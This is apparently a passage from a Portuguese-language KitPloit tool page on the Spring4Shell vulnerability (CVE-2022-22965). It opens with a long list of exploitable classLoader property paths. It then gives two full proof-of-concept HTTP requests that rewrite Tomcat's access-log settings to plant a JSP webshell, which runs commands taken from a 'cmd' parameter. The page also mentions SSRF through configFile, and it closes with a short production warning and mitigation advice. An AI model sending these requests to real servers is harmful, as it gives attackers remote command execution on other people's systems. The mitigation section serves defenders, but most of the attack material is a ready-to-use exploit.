    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    Usando class.module.classLoader.resources.context.parent.pipeline pode-se definir as propriedades do AccessLog, e então é possível utilizar a função de escrita de logs para escrever um webshell. O POC é o seguinte: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    Ou use o cabeçalho da requisição para passar o valor do pattern:
    
    * tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    Também é possível utilizar class.module.classLoader.resources.context.configFile para realizar SSRF.

    Outras propriedades utilizáveis precisam ser verificadas quanto ao seu papel.

    O ponto a ser observado é que modificar as propriedades acima pode causar a reinicialização do serviço. Portanto, se for um teste próprio, não há problema, mas nunca utilize esses PoCs diretamente no ambiente de produção, a menos que você saiba claramente e possa arcar com as consequências do uso!!

    Correção e Mitigação da Vulnerabilidade

    No método de correção das versões mais recentes, existem principalmente dois pontos para evitar a sobrescrita de variáveis:

    1. Desabilitar, por meio de configuração global, o binding do WebDataBinder para campos específicos usando disallowFields:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    No entanto, este método de lista negra pode ser contornado; usar temporariamente está ok, mas não é uma solução duradoura;
    
    2. No CachedIntrospectionResults, ao obter o beaninfo, foi adicionada uma verificação, tornando-a apenas permitida para a variável name da classe Class:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **Outras medidas de mitigação:**
    
    1. As novas versões do Tomcat também implementaram mitigação da vulnerabilidade. Inicialmente, usando a versão 8.5.78 do Tomcat, a vulnerabilidade não pôde ser reproduzida. Através de depuração, descobriu-se que ao usar `class.module.classLoader.resources` nessa versão do Tomcat, o recurso obtido estava vazio, impossibilitando a exploração. Portanto, atualizar a versão do Tomcat também pode mitigar a vulnerabilidade;
    2. Versões abaixo do JDK 9 não são afetadas por esta vulnerabilidade.
    
    Baixar ferramenta